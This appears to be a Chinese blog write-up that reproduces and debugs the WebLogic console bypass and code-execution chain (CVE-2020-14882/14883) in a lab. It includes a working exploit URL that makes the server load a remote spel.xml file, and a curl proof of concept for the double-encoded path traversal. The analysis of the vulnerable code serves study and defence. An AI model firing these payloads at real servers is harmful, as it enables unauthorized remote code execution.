weblogicConsoleHttp远程代码执行复现

最近比较流行的一个洞,组合了未授权和代码执行的技巧,调的过程中能学到不少东西。

前言

实际上这是一个组合漏洞利用的姿势,分别是CVE-2020-14882 console代码执行和CVE-2020-14883 权限绕过,本文将依次展开对这两个漏洞的复现分析。

实验环境

实验环境用的是前面的weblogic环境,weblogic版本是10.3.6,jdk版本是7,然后使用idea开远程调试。

CVE-2020-14882

这个漏洞的成因主要是没有限制handler的初始化。

1
http://10.211.55.2:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://10.211.55.2:8000/spel.xml%22)

断点下在FileSystemXmlApplicationContext的22行,看调用链。

image-20210124120739658

com.bea.console.utils.BreadcrumbBacking类的init方法会调用findFirstHandle来获取参数,其中参数名字包括handle就会将该参数的值传入getHandle方法做后续处理。

1
2
3
if (parmName.indexOf(REQUEST_CONTEXT_VALUE) != -1) {
handle = parm;
}

主要问题在com.bea.console.handles.HandleFactory类的getHandle方法,大致逻辑就是括号前的内容作为类名,括号中的内容作为字符串参数,然后执行反射初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public static Handle getHandle(String serializedObjectID) {
if (StringUtils.isEmptyString(serializedObjectID)) {
throw new InvalidParameterException("No serialized object string specified");
} else {
serializedObjectID = serializedObjectID.replace('+', ' ');
String serialized = HttpParsing.unescape(serializedObjectID, "UTF-8");
int open = serialized.indexOf(40);
if (open < 1) {
throw new InvalidParameterException("Syntax error parsing serializedObjectID string: " + serialized);
} else {
String className = serialized.substring(0, open);
String objectIdentifier = serialized.substring(open + 2, serialized.length() - 2);

try {
Class handleClass = Class.forName(className);
Object[] args = new Object[]{objectIdentifier};
Constructor handleConstructor = handleClass.getConstructor(String.class);
return (Handle)handleConstructor.newInstance(args);
} catch (ClassNotFoundException var8) {
throw new InvalidParameterException("No handle class found for type: " + className);
} catch (Exception var9) {
throw new InvalidParameterException("Unable to instanciate handle type: " + className, var9);
}
}
}
}

比较玄学的是自己调的过程中发现_nfpb_pageLabel参数都是不用加的。

CVE-2020-14883

  1. 首先使用poc,断点下在BreadcrumbBacking的209行。
1
curl http://10.211.55.2:7001/console/css/%252e%252e%252Fconsole.portal

image-20210118201913993

看下调用栈,需要注意的点

image-20210118203507697

securedExecute函数中调用checkAccess函数,可能针对访问路由进行了校验,在checkAccess处下个断点看看。在渲染前,需要对访问的文件鉴权。这里使用getConstraint方法获取访问路径对应的权限组。

image-20210124100718821

这里跟入getConstraint方法,在该方法中,首先需要从constraintsMap中取出对应的standardURLMapping,不同的请求方法可以对应的standardURLMapping是不同的,分别在paramString2为空和不为空的情况下获取standardURLMapping,而此时constraintsMap仅仅有一个键值*“”,在获取standardURLMapping,获取匹配的请求路径。这里的对应关系是/css/%252e%252e%252Fconsole.portal对应/css/**,相当于我们在访问**/css**目录下的静态资源。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private ResourceConstraint getConstraint(String paramString1, String paramString2) {
if (this.constraintsMap == null) return null;

StandardURLMapping standardURLMapping = null;
if (paramString2 != null) {
standardURLMapping = (StandardURLMapping)this.constraintsMap.get(paramString2);
if (standardURLMapping != null) {
ResourceConstraint resourceConstraint = (ResourceConstraint)standardURLMapping.get(paramString1);
if (resourceConstraint != null) return resourceConstraint;
}
return getConstraint(paramString1, null);
}
standardURLMapping = (StandardURLMapping)this.constraintsMap.get("");

if (standardURLMapping == null) return null;
return (ResourceConstraint)standardURLMapping.get(paramString1);
}

image-20210124101834891

之后看鉴权的部分,这里需要注意的是要提前在WebAppSecurityWLS类的hasPermission方法出下断点,不然可能跟不到。直接看到hasPermission方法,这里放行的其中一个条件是paramResourceConstraintunrestrictedtrue,访问静态资源时该值均为true。因此通过鉴权。

1
2
3
...
if (paramResourceConstraint == null || paramResourceConstraint.isUnrestricted()) return true;
...

在完成鉴权后,最大的一个问题是为何指向*/css/**的路径最后会指向*/\.console.portal,这时,将断点下在UIServlet的128行处。程序会调用createUIContext**来完成渲染,之后依次跟入以下方法。

image-20210124111728244

getTree方法中有这样一段逻辑,会将传入的请求解码,这里就是需要对payload进行二次编码的理由。

1
2
3
4
5
public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
...
requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());
...
}

在跟getMergedControlFromFile方法时需要注意,获得的资源如果被缓存过的话需要重新启动服务器来清除缓存,最终调用栈如下:

image-20210124114438156

可能是weblogic版本的问题所以跟起来和参考的文章不太一样,最终是在ZipClassFindergetSource方法处理了相对路径,从而造成目录穿越。

image-20210124114547506

之后获取的到相应文件后会解析模板,最后定位到管理页面。

思考

还是很好奇作者是如何挖出来的。

参考

  1. https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4
  2. https://xz.aliyun.com/t/8470#toc-1